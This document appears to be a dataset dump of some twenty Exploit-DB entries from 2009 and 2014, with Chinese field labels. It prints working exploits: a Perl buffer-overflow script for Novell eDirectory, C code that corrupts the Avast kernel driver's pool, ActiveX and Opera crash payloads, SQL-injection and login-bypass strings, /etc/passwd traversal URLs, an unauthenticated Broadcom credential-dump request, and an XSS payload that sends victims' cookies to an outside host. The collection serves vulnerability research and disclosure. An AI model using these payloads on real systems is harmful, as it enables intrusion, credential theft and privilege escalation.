QLWD/code_shield huggingface dataset:
标题: Opera Web Browser 10.01 - 'dtoa()' Remote Code Execution EDB-ID: 33363 CVE: 2009-0689 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/37078/info

Opera Web Browser is prone to a remote code-execution vulnerability.

Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions.

NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.

This issue affects Opera 10.01; other versions may also be affected. 


<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script> URL: https://www.exploit-db.com/exploits/33363
标题: PHD Help Desk 1.43 - 'atributo.php?URL' Cross-Site Scripting EDB-ID: 33357 CVE: 2009-4047 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37029/info
   
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
   
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
   
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/atributo.php/[code] URL: https://www.exploit-db.com/exploits/33357
标题: PHD Help Desk 1.43 - 'atributo_list.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33358 CVE: 2009-4047 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37029/info
    
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
    
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
    
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/atributo_list.php?pagina=1[code]&q_registros=15&orden=activo&sentido
http://www.example.com/atributo_list.php?pagina=1&q_registros=15[code]&orden=activo&sentido
http://www.example.com/atributo_list.php?pagina=1&q_registros=15&orden=activo[code]&sentido
http://www.example.com/atributo_list.php?pagina=1&q_registros=15&orden=activo&sentido[code] URL: https://www.exploit-db.com/exploits/33358
标题: PHD Help Desk 1.43 - 'caso_insert.php?URL' Cross-Site Scripting EDB-ID: 33359 CVE: 2009-4047 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37029/info
     
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
     
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
     
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/caso_insert.php/[code] URL: https://www.exploit-db.com/exploits/33359
标题: PHD Help Desk 1.43 - 'area_list.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33356 CVE: 2009-4047 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37029/info
  
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
  
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/area_list.php/[code]
http://www.example.com/area_list.php?pagina=1&q_registros=0[code]&orden=nombre URL: https://www.exploit-db.com/exploits/33356
标题: PHD Help Desk 1.43 - 'area.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33354 CVE: 2009-4047 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37029/info

PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/area.php/[code]
http://www.example.com/area.php?pagina=[code]
http://www.example.com/area.php?sentido=[code]
http://www.example.com/area.php?q_registros=[code]
http://www.example.com/area.php?orden=[code] URL: https://www.exploit-db.com/exploits/33354
标题: CubeCart 3.0.4/4.3.6 - 'ProductID' SQL Injection EDB-ID: 33362 CVE: 2009-4060 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/37065/info

CubeCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects CubeCart 4.3.6; prior versions may also be affected. 

http://www.example.com/store/index.php?_a=viewProd&productId=22+and+1=2+union+select+version() URL: https://www.exploit-db.com/exploits/33362
标题: Broadcom PIPA C211 - Sensitive Information Disclosure EDB-ID: 33353 CVE: 2014-2046 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-05-14 漏洞利用脚本: Vulnerability title: Unauthenticated Credential And Configuration
Retrieval In Broadcom Ltd PIPA C211
CVE: CVE-2014-2046
Vendor: Broadcom Ltd
Product: PIPA C211
Affected version: Soft Rev: SR1.1, HW Rev: PIPA C211 rev2
Fixed version: N/A
Reported by: Jerzy Kramarz

Details:

By sending the following request to the BROADCOM PIPA C211 web interface it is possible to retrieve complete system configuration including administrative credentials, SMTP community strings, FTP upload credentials and all other system user credentials:

POST /cgi-bin/rpcBridge HTTP/1.1
Host: <IP>
Proxy-Connection: keep-alive
Content-Length: 574
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36
Origin: http://<IP>
Content-Type: text/xml
Accept: */*
DNT: 1
Referer: http://:<IP>/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4

<methodCall><methodName>config.getValuesHashExcludePaths</methodName><params><param><value><string>sys</string></value></param><param><value><int>0</int></value></param><param><value><int>0</int></value></param><param><value><array><data><value><string>sys.applications.aptcodec.horizonnextgen.status</string></value><value><string>sys.applications.aptcodec.horizonnextgen.configuration</string></value></data></array></value></param></params></methodCall>

        

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2046/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/33353
标题: Novell eDirectory 8.8 - '/dhost/modules?I:' Remote Buffer Overflow EDB-ID: 33351 CVE: 2009-4653 类型: REMOTE 平台: NOVELL 发布日期: 2009-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/37009/info

Novell eDirectory is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

Novell eDirectory 8.8 SP5 is vulnerable; other versions may also be affected. 

#!usr\bin\perl
#Vulnerability has found by HACKATTACK

use WWW::Mechanize;

use LWP::Debug qw(+);

use HTTP::Cookies;

$address=$ARGV[0];


if(!$ARGV[0]){

        print "Usage:perl $0 address\n";
        
exit();
}



$login = "$address/_LOGIN_SERVER_";

$url = "$address/dhost/";

$module = "modules?I:";

$buffer = "A" x 2000;


$vuln = $module.$buffer;

#Edit the username and password.

          $user = "username";

          $pass = "password";

#Edit the username and password.

my $mechanize = WWW::Mechanize->new();


$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));


$mechanize->timeout($url_timeout);

$res = $mechanize->request(HTTP::Request->new('GET', "$login"));


    $mechanize->submit_form(

                  form_name => "authenticator",

                  fields    => {

                     usr => $user,

                     pwd => $pass},

                     button => 'Login');

$response2 = $mechanize->get("$url$vuln"); URL: https://www.exploit-db.com/exploits/33351
标题: McAfee Network Security Manager 5.1.7 - Information Disclosure EDB-ID: 33347 CVE: 2009-3566 类型: WEBAPPS 平台: JSP 发布日期: 2009-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/37004/info

McAfee Network Security Manager is prone to an information-disclosure vulnerability because it fails to properly protect sensitive cookie data with the 'HTTPOnly' protection mechanism.

A successful exploit may allow attackers to steal cookie-based authentication credentials; information harvested may aid in further attacks.

This issue affects McAfee Network Security Manager 5.1.7.7; other versions may also be affected.


https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57 URL: https://www.exploit-db.com/exploits/33347
标题: JiRo's (Multiple Products) - '/files/login.asp' Multiple SQL Injections EDB-ID: 33361 CVE: 2009-4218 类型: WEBAPPS 平台: ASP 发布日期: 2009-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/37045/info

Multiple JiRo's products are prone to multiple SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following products are affected:

JBS 2.0
JBSX

Other products may also be affected.

The following proof-of-concept login and password examples are available:

admin 'or' '='
password 'or' '=' URL: https://www.exploit-db.com/exploits/33361
标题: PHD Help Desk 1.43 - 'solic_display.php?q_registros' Cross-Site Scripting EDB-ID: 33355 CVE: 2009-4047 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37029/info
 
PHD Help Desk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
 
PHD Help Desk 1.43 is vulnerable; other versions may also be affected. 

http://www.example.com/solic_display.php?pagina=1&q_registros=[code]&orden=seq_solicitud_id URL: https://www.exploit-db.com/exploits/33355
标题: Avast! AntiVirus 4.8.1356 - 'aswRdr.sys' Driver Privilege Escalation EDB-ID: 33360 CVE: 2009-4049 类型: LOCAL 平台: WINDOWS 发布日期: 2009-11-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/37031/info

Avast! Antivirus is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with superuser privileges and completely compromise the affected computer. Failed exploit attempts will result in a denial-of-service condition.

Avast! Antivirus 4.8.1356 is vulnerable; other versions may also be affected.

/* Avast 4.8.1356.0 antivirus aswRdr.sys Kernel Pool Corruption
*
* Author(s): Giuseppe 'Evilcry' Bonfa'
*            AbdulAziz Hariri
* E-Mail: evilcry _AT_ gmail _DOT_ com
* Website: http://evilcry.netsons.org
*          http://evilcodecave.blogspot.com
*          http://evilcodecave.wordpress.com
*     http://evilfingers.com
*
*  Disclosure Timeline: As specified in the Advisory.
*/

#define WIN32_LEAN_AND_MEAN
#include
#include


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
 WCHAR DeviceName[MAX_PATH];
 HANDLE hDevice;

 if ((GetVersion() & 0xFF) >= 5)
 {
  wcscpy(DeviceName, L"\\\\.\\Global\\");
 }
 else
 {
  wcscpy(DeviceName, L"\\\\.\\");
 }

 wcscat(DeviceName, DriverName);

 printf("Opening.. %S\n", DeviceName);

 hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL, NULL);

 if (hDevice == INVALID_HANDLE_VALUE)
 {
  printf("CreateFile() ERROR %d\n", GetLastError());
  return FALSE;
 }

 *lphDevice = hDevice;

 return TRUE;
}

int main()
{
 HANDLE hDev = NULL;
 DWORD Junk;

 if(!OpenDevice(L"aswRDR",&hDev))
 {
  printf("Unable to access aswMon");
  return(0);
 }

 char *Buff = (char *)VirtualAlloc(NULL, 0x156, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 if (Buff)
 {
  memset(Buff, 'A', 0x156);

DeviceIoControl(hDev,0x80002024,Buff,0x156,Buff,0x156,&Junk,(LPOVERLAPPED)NULL);
  printf("DeviceIoControl Executed..\n");
 }
 else
 {
  printf("VirtualAlloc() ERROR %d\n", GetLastError());
 }


 return(0);
} URL: https://www.exploit-db.com/exploits/33360
标题: Yahoo! Messenger 9 - 'YahooBridgeLib.dll' ActiveX Control Remote Denial of Service EDB-ID: 33350 CVE: 2009-4171 类型: DOS 平台: WINDOWS 发布日期: 2009-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/37007/info

Yahoo! Messenger is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error.

A successful attack allows a remote attacker to crash the application using the ActiveX control (typically Internet Explorer), denying further service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

Yahoo! Messenger 9.0.0.2162 is vulnerable; other versions may also be affected. 

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>


arg1=String(11284, "A")

target.RegisterMe arg1

</script>

</job>

</package> URL: https://www.exploit-db.com/exploits/33350
标题: CuteNews 1.4.6 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33340 CVE: 2009-4172 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36971/info

CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.

Note that exploits for some of the issues may require administrator privilege.

Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process

A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?lastusername=&#039;%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&cat_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&source_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&postponed_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&unapproved_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&news_per_page=%3Cscript%3Ealert(/xss/);%3C/script%3E URL: https://www.exploit-db.com/exploits/33340
标题: CuteNews 1.4.6 - 'from_date_day' Full Path Disclosure EDB-ID: 33341 CVE: 2009-4175 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36971/info
 
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
 
Note that exploits for some of the issues may require administrator privilege.
 
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
 
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/search.php?dosearch=yes&from_date_day=a&from_date_month=5&from_date_year=2003&to_date_day=4&to_date_month=5&to_date_year=2010 URL: https://www.exploit-db.com/exploits/33341
标题: McAfee Network Security Manager 5.1.7 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33346 CVE: 2009-3565 类型: WEBAPPS 平台: JSP 发布日期: 2009-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/37003/info

McAfee Network Security Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect McAfee Network Security Manager 5.1.7.7; other versions may also be affected. 

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(â??XSSâ??)</script>8b3283a1e57 URL: https://www.exploit-db.com/exploits/33346
标题: VM Turbo Operations Manager 4.5x - Directory Traversal EDB-ID: 33334 CVE: 2014-3806 类型: WEBAPPS 平台: CGI 发布日期: 2014-05-12 漏洞利用脚本: Product: VM Turbo Operations Manager
Vendor: VM Turbo
Vulnerable Version(s): 4.5.x earlier
Tested Version: 4.0
Advisory Publication: April 11, 2014 
Vendor Notification: April 11, 2014 
Public Disclosure: May 8, 2014 
Vulnerability Type: Directory Traversal

Discovered and Provided: (Jamal Pecou) Security Focus ( https://www.securityfocus.com/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

A vulnerability affecting “/cgi-bin/help/doIt.cgi" in VM Turbo Operations Manager allows directory traversal when the URL encoded POST input “xml_path” was set to “../../../../../../../../../../etc/passwd” we could see the contents of this file. 


The following exploitation example displays the contents of /etc/passwd

http://[host]/cgi-bin/help/doIt.cgi?FUNC=load_xml_file&xml_path=../../../../../../../../../../etc/passwd

------------------------------------------------------------------------
-----------------------

Solution:

 The vendor has released a fix for this vulnerability in version 4.6.

References:

[1] https://support.vmturbo.com/hc/en-us/articles/203170127-VMTurbo-Operations-Manager-v4-6-Announcement URL: https://www.exploit-db.com/exploits/33334
标题: CuteNews 1.4.6 - 'result' Cross-Site Scripting EDB-ID: 33343 CVE: 2009-4250 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36971/info
   
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
   
Note that exploits for some of the issues may require administrator privilege.
   
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
   
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/register.php?result=%3Cscript%3Ealert(/XSS/);%3C/script%3E URL: https://www.exploit-db.com/exploits/33343
标题: CuteNews 1.4.6 editnews Module - doeditnews Action Admin Moderation Bypass EDB-ID: 33345 CVE: 2009-4174 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36971/info
     
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
     
Note that exploits for some of the issues may require administrator privilege.
     
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
     
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&source=../users.db.php%00
http://www.example.com/test/cutenews/index.php?mod=editnews&action=editnews&id=1255182669&source=../users.db.php%00 URL: https://www.exploit-db.com/exploits/33345
标题: CuteNews 1.4.6 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33342 CVE: 2009-4249 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36971/info
  
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
  
Note that exploits for some of the issues may require administrator privilege.
  
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
  
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/search.php?user=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/search.php?title=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E URL: https://www.exploit-db.com/exploits/33342